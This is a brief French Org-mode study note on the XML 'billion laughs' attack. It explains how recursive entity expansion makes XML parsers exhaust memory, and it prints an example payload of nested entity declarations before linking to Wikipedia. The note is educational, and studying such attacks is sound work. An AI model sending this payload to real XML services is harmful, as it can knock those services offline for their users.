36 lines
1.1 KiB
Org Mode
36 lines
1.1 KiB
Org Mode
:PROPERTIES:
|
|
:ID: 7b090d0a-b96b-4d40-afec-2155a6909935
|
|
:mtime: 20220306182044
|
|
:ctime: 20220306181623
|
|
:END:
|
|
#+title: XML billion laughs
|
|
|
|
* Introduction
|
|
* Attaque de type déni de service visant les parseurs XML.
|
|
* Peut aussi servir de vecteur pour faciliter les attaques par /dépassement de tampon/.
|
|
|
|
* Principe
|
|
Le standard XML permet la déclaration récursive d'entités XML sans aucune limite de profondeur ou de longueur des
|
|
éléments. L'attaquant peut donc donner une très grande longueur au résultat censé être produit lors de l'analyse
|
|
lexicale du document XML. Ainsi, le déni de service est provoqué par le parseur XML tentant de lire le document avec
|
|
toutes ses entités décrites de manière récursive, ce qui peut potentiellement provoquer un dépassement mémoire.
|
|
|
|
* Exemple
|
|
#+BEGIN_SRC xml
|
|
<!DOCTYPE root [
|
|
<!ENTITY lol "lol">
|
|
<!ENTITY lol2 "&lol; &lol;">
|
|
<!ENTITY lol3 "&lol2; &lol2;">
|
|
<!ENTITY lol4 "&lol3; &lol3;">
|
|
<!ENTITY lol5 "&lol4; &lol4;">
|
|
…
|
|
<!ENTITY lol128 "&lol127; &lol127;">
|
|
]>
|
|
<root>&lol128;</root>
|
|
#+END_SRC
|
|
|
|
* Références
|
|
* [[https://en.wikipedia.org/wiki/Billion_laughs_attack][Wikipedia]]
|
|
|
|
|